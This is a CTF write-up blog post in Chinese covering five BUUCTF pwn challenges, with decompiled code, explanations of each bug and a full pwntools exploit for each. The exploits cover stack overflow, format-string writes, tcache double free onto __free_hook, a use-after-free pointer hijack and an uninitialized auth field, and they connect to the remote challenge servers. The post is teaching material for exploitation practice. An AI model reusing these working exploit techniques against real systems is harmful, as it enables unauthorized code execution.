BUUCTF pwn wp 106 - 110

这篇博客详细介绍了PicoCTF_2018_bufferoverflow_0中的缓冲区溢出漏洞利用,包括strcpy栈溢出技巧,以及利用fmt漏洞进行堆上内存控制,涉及xman_2019_format的fmt漏洞利用方法。通过pwn技术实现了对目标程序的控制和flag获取。
摘要由CSDN通过智能技术生成

picoctf_2018_buffer overflow 0

picoctf_2018_buffer overflow$ file PicoCTF_2018_buffer_overflow_0;checksec PicoCTF_2018_buffer_overflow_0
PicoCTF_2018_buffer_overflow_0: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=e1e24cdf757acbd04d095e531a40d044abed7e82, not stripped
[*] '/home/pwn/桌面/picoctf_2018_buffer overflow/PicoCTF_2018_buffer_overflow_0'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp-Ch] [ebp-1Ch]
  __gid_t v5; // [esp+0h] [ebp-10h]
  FILE *stream; // [esp+4h] [ebp-Ch]

  stream = fopen("flag.txt", "r");
  if ( !stream )
  {
    puts(
      "Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.");
    exit(0);
  }
  fgets(flag, 64, stream);
  signal(11, sigsegv_handler);
  v5 = getegid();
  setresgid(v5, v5, v5, v4);
  if ( argc <= 1 )
  {
    puts("This program takes 1 argument.");
  }
  else
  {
    vuln((char *)argv[1]);
    printf("Thanks! Received: %s", argv[1]);
  }
  return 0;
}
char *__cdecl vuln(char *src)
{
  char dest[24]; // [esp+0h] [ebp-18h] BYREF

  return strcpy(dest, src);
}

strcpy栈溢出

from pwn import *

filename = "./PicoCTF_2018_buffer_overflow_0"
elf = ELF(filename)
context(arch="i386", os="linux")

puts_plt = elf.plt['puts']
flag_addr = 0x0804A080

payload = cyclic(0x18 + 4) + p32(puts_plt) + p32(0) + p32(flag_addr)
print(payload)

aaaabaaacaaadaaaeaaafaaagaaa\xc0\x84\x04\x08\x00\x00\x00\x00\x80\xa0\x04\x08

ssh -p 25611 CTFMan@node4.buuoj.cn

在这里插入图片描述

xman_2019_format

xman_2019_format$ file xman_2019_format;checksec xman_2019_format 
xman_2019_format: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=3d39ec98164e323a164b7d12e0b76e1d4ce78838, stripped
[*] '/home/pwn/桌面/xman_2019_format/xman_2019_format'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
char *__cdecl sub_80485C4(char *s)
{
  char *v1; // eax
  char *result; // eax

  puts("...");
  v1 = strtok(s, "|");
  printf(v1);
  while ( 1 )
  {
    result = strtok(0, "|");
    if ( !result )
      break;
    printf(result);
  }
  return result;
}

fmt漏洞但是堆上的漏洞, strtok会把'|'去掉
在这里插入图片描述

在这里插入图片描述

漏洞利用: fmt漏洞任意地址写, 修改返回地址到后门, 这里需要爆破最低一字节的高四位(因为最低四位必定为C), 概率1/16

调试过程不放了, 堆fmt漏洞利用原理可以参考chuj师傅的blog, 讲的很好, 简单概括就是栈帧中ebp链的fmt两次利用, 可以修改ebp + 4地址处的返回地址到shell后门
https://www.cjovi.icu/WP/buu-xman_2019_format-wp.html

from pwn import *
# from LibcSearcher import *

url, port = "node4.buuoj.cn", 25469
filename = "./xman_2019_format"
elf = ELF(filename)
# libc = ELF("./")

def pwn():
    shell_addr_low_1byte = 0x85AB
    payload = '%12c%10$hhn|%' + str(shell_addr_low_1byte) + 'c%18$hn' 
    print(payload)
    payload = payload.encode()

    while True:
        io = remote(url, port)
        io.sendline(payload)
        try:
            io.sendline('echo pwned')
            io.recvuntil('pwned', timeout=0.5)
            io.interactive()
        except:
            io.close()

if __name__ == "__main__":
    pwn()

ciscn_2019_en_3

ciscn_2019_en_3$ file ciscn_2019_en_3;checksec ciscn_2019_en_3 
ciscn_2019_en_3: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=05f53753721f4d3327fe78fa244d276af22f4d70, stripped
[*] '/home/pwn/桌面/ciscn_2019_en_3/ciscn_2019_en_3'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled

保护全开

menu

  puts("Welcome to the story kingdom.");
  puts("What's your name?");
  read(0, buf, 0x20uLL);
  _printf_chk(1LL, (__int64)buf);
  puts("Please input your ID.");
  read(0, s, 8uLL);
  puts(s);

输入8个非0字符, 可以打印出栈帧

在这里插入图片描述

add

unsigned __int64 add()
{
  int idx; // ebx
  int size; // [rsp+4h] [rbp-1Ch] BYREF
  unsigned __int64 v3; // [rsp+8h] [rbp-18h]

  v3 = __readfsqword(0x28u);
  if ( cnt > 16 )
    puts("Enough!");
  puts("Please input the size of story: ");
  _isoc99_scanf("%d", &size);
  *((_DWORD *)&unk_202060 + 4 * cnt) = size;
  idx = cnt;
  *((_QWORD *)&unk_202068 + 2 * idx) = malloc(size);
  puts("please inpute the story: ");
  read(0, *((void **)&unk_202068 + 2 * cnt), size);
  ++cnt;
  puts("Done!");
  return __readfsqword(0x28u) ^ v3;
}

主结构体

struct stories {
	int size;
	char* story;
}

edit和show没用, 看看delete

unsigned __int64 delete()
{
  int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Please input the index:");
  _isoc99_scanf("%d", &v1);
  free(*((void **)&unk_202068 + 2 * v1));
  puts("Done!");
  return __readfsqword(0x28u) ^ v2;
}

有悬空指针, double free
漏洞利用
tcache attack - double free 打 free hook

from pwn import *
from pwnlib.term.readline import set_buffer
# from LibcSearcher import *

url, port = "node4.buuoj.cn", 26090
filename = "./ciscn_2019_en_3"
elf = ELF(filename)
libc = ELF("./libc64-2.27.so")
context(arch="amd64", os="linux")
# context(arch="i386", os="linux")

local = 0
if local:
    context.log_level = "debug"
    io = process(filename)
    # context.terminal = ['tmux', 'splitw', '-h']
    # gdb.attach(io)
else:
    io = remote(url, port)

def B():
    gdb.attach(io)
    pause()

lf = lambda addrstring, address: log.info('{}: %#x'.format(addrstring), address)

def add(size,story):
    io.sendlineafter('choice:','1')
    io.sendlineafter('story:',str(size))
    io.sendlineafter('story:',story)
 
def delete(idx):
    io.sendlineafter('choice:','4')
    io.sendlineafter('index:',str(idx))

def pwn():
    io.sendlineafter('name?', 'fa1c4')
    # B()
    io.sendlineafter('ID.', b'f' * 8)
    set_buffer = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 231
    lf('setbuffer address', set_buffer)
    libc_base = set_buffer - libc.sym['setbuffer']
    lf('libc base address', libc_base)
    system_addr = libc_base + libc.sym['system']
    free_hook = libc_base + libc.sym['__free_hook']

    add(0x20, 'chunk0')
    add(0x20, b'/bin/sh\x00')

    delete(0)
    delete(0) # double free
    # B()
    add(0x20, p64(free_hook))
    # B()
    add(0x20, 'whatever')
    add(0x20, p64(system_addr))

    delete(1)

if __name__ == "__main__":
    pwn()
    io.interactive()

bjdctf_2020_YDSneedGrirlfriend

bjdctf_2020_YDSneedGrirlfriend$ file bjdctf_2020_YDSneedGrirlfriend; checksec bjdctf_2020_YDSneedGrirlfriend 
bjdctf_2020_YDSneedGrirlfriend: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=9b27216b491d0602378075540c37930a6c24435b, not stripped
[*] '/home/pwn/桌面/bjdctf_2020_YDSneedGrirlfriend/bjdctf_2020_YDSneedGrirlfriend'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
unsigned __int64 add_girlfriend()
{
  __int64 v0; // rbx
  int i; // [rsp+8h] [rbp-28h]
  int v3; // [rsp+Ch] [rbp-24h]
  char buf[8]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v5; // [rsp+18h] [rbp-18h]

  v5 = __readfsqword(0x28u);
  if ( count <= 10 )
  {
    for ( i = 0; i <= 9; ++i )
    {
      if ( !*(&girlfriendlist + i) )
      {
        *(&girlfriendlist + i) = malloc(0x10uLL);
        if ( !*(&girlfriendlist + i) )
        {
          puts("Alloca Error");
          exit(-1);
        }
        *(_QWORD *)*(&girlfriendlist + i) = print_girlfriend_name;
        printf("Her name size is :");
        read(0, buf, 8uLL);
        v3 = atoi(buf);
        v0 = (__int64)*(&girlfriendlist + i);
        *(_QWORD *)(v0 + 8) = malloc(v3);
        if ( !*((_QWORD *)*(&girlfriendlist + i) + 1) )
        {
          puts("Alloca Error");
          exit(-1);
        }
        printf("Her name is :");
        read(0, *((void **)*(&girlfriendlist + i) + 1), v3);
        puts("Success !Wow YDS get a girlfriend!");
        ++count;
        return __readfsqword(0x28u) ^ v5;
      }
    }
  }
  else
  {
    puts("Full");
  }
  return __readfsqword(0x28u) ^ v5;
}

数据结构

struct gf {
	void* function;
	char* name; 
}
unsigned __int64 del_girlfriend()
{
  int v1; // [rsp+Ch] [rbp-14h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Index :");
  read(0, buf, 4uLL);
  v1 = atoi(buf);
  if ( v1 >= 0 && v1 < count )
  {
    if ( *(&girlfriendlist + v1) )
    {
      free(*((void **)*(&girlfriendlist + v1) + 1));
      free(*(&girlfriendlist + v1));
      puts("Success");
    }
  }
  else
  {
    puts("Out of bound!");
  }
  return __readfsqword(0x28u) ^ v3;
}

悬空指针 UAF
另外还有个backdoor, 简单的堆风水, 把chunk0的函数指针劫持到back door即可

from pwn import *
# from LibcSearcher import *

url, port = "node4.buuoj.cn", 27715
filename = "./bjdctf_2020_YDSneedGrirlfriend"
elf = ELF(filename)
libc = ELF("./libc64-2.23.so")
context(arch="amd64", os="linux")
# context(arch="i386", os="linux")

local = 0
if local:
    context.log_level = "debug"
    io = process(filename)
    # context.terminal = ['tmux', 'splitw', '-h']
    # gdb.attach(io)
else:
    io = remote(url, port)

def B():
    gdb.attach(io)
    pause()

def add(size, name):
    io.sendlineafter('Your choice :', '1')
    io.sendafter('Her name size is :', str(size))
    io.sendafter('Her name is :', name)

def delete(idx):
    io.sendlineafter('Your choice :', '2')
    io.sendlineafter('Index :', str(idx))

def show(idx):
    io.sendlineafter('Your choice :', '3')
    io.sendlineafter('Index :', str(idx))

def pwn():
    back_door = 0x0000000000400B9C
    add(0x20, 'chunk0')
    add(0x20, 'chunk1')
    delete(0)
    delete(1)
    # B()
    add(0x10, p64(back_door))
    show(0)

if __name__ == "__main__":
    pwn()
    io.interactive()

picoctf_2018_are you root

picoctf_2018_are you root$ file PicoCTF_2018_are_you_root;checksec PicoCTF_2018_are_you_root
PicoCTF_2018_are_you_root: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=42ebad5f08a8e9d227f3783cc951f2737547e086, not stripped
[*] '/home/pwn/桌面/picoctf_2018_are you root/PicoCTF_2018_are_you_root'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
int __cdecl main(int argc, const char **argv, const char **envp)
{
  FILE *v3; // rdi
  unsigned int v5; // [rsp+1Ch] [rbp-224h]
  void **v6; // [rsp+20h] [rbp-220h]
  const char *nptr; // [rsp+28h] [rbp-218h]
  const char *nptra; // [rsp+28h] [rbp-218h]
  char s[6]; // [rsp+30h] [rbp-210h] BYREF
  char v10[3]; // [rsp+36h] [rbp-20Ah] BYREF
  char v11[511]; // [rsp+39h] [rbp-207h] BYREF
  unsigned __int64 v12; // [rsp+238h] [rbp-8h]

  v12 = __readfsqword(0x28u);
  v3 = stdout;
  setbuf(stdout, 0LL);
  menu(v3);
  v6 = 0LL;
  while ( 1 )
  {
    puts("\nEnter your command:");
    putchar(62);
    putchar(32);
    if ( !fgets(s, 512, stdin) )
      return 0;
    if ( !strncmp(s, "show", 4uLL) )
    {
      if ( v6 )
        printf("Logged in as %s [%u]\n", (const char *)*v6, *((unsigned int *)v6 + 2));
      else
        puts("Not logged in.");
    }
    else if ( !strncmp(s, "login", 5uLL) )
    {
      if ( v6 )
      {
        puts("Already logged in. Reset first.");
      }
      else
      {
        nptr = strtok(v10, "\n");
        if ( !nptr )
          goto LABEL_11;
        v6 = (void **)malloc(0x10uLL);
        if ( !v6 )
        {
          puts("malloc() returned NULL. Out of Memory\n");
          exit(-1);
        }
        *v6 = (void *)(int)strdup(nptr);
        printf("Logged in as \"%s\"\n", nptr);
      }
    }
    else if ( !strncmp(s, "set-auth", 8uLL) )
    {
      if ( v6 )
      {
        nptra = strtok(v11, "\n");
        if ( nptra )
        {
          v5 = strtoul(nptra, 0LL, 10);
          if ( v5 <= 4 )
          {
            *((_DWORD *)v6 + 2) = v5;
            printf("Set authorization level to \"%u\"\n", v5);
          }
          else
          {
            puts("Can only set authorization level below 5");
          }
        }
        else
        {
LABEL_11:
          puts("Invalid command");
        }
      }
      else
      {
        puts("Login first.");
      }
    }
    else if ( !strncmp(s, "get-flag", 8uLL) )
    {
      if ( v6 )
      {
        if ( *((_DWORD *)v6 + 2) == 5 )
          give_flag(s);
        else
          puts("Must have authorization level 5.");
      }
      else
      {
        puts("Login first!");
      }
    }
    else if ( !strncmp(s, "reset", 5uLL) )
    {
      if ( v6 )
      {
        free(*v6);
        v6 = 0LL;
        puts("Logged out!");
      }
      else
      {
        puts("Not logged in!");
      }
    }
    else
    {
      if ( !strncmp(s, "quit", 4uLL) )
        return 0;
      puts("Invalid option");
      menu("Invalid option");
    }
  }
}

在这里插入图片描述
想办法 login as level 5

分析程序流程, 关键位置是
在这里插入图片描述
看一下文档

char * strdup( const char *str1 );
	
Returns a pointer to a null-terminated byte string, which is a duplicate of the string pointed to by str1. 
The returned pointer must be passed to free to avoid a memory leak. 

所以是复制字符串的函数, 程序这里就会分配一个chunk

在这里插入图片描述
而v6偏移8字节(*((_DWORD *)v6 + 2))处是auth的值, 这个值在程序开始不会进行初始化, 并且只在登录的时候验证, 这里就出现了逻辑漏洞
因为可以输入9字节的数据控制下一次login时的auth的值, 所以只要reset释放掉第一次的chunk, 申请回来相同的chunk时验证的auth就是可控的

from pwn import *
# from LibcSearcher import *

url, port = "node4.buuoj.cn", 25697
filename = "./PicoCTF_2018_are_you_root"
elf = ELF(filename)
context(arch="amd64", os="linux")

local = 0
if local:
    context.log_level = "debug"
    io = process(filename)
else:
    io = remote(url, port)

def B():
    gdb.attach(io)
    pause()

def pwn():
    io.sendlineafter('> ', 'login '.encode() + b'\x05' * 9)
    io.sendlineafter('> ', 'reset')
    io.sendlineafter('> ', 'login ' + 'falca')
    io.sendlineafter('> ', 'get-flag')

if __name__ == "__main__":
    pwn()
    io.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值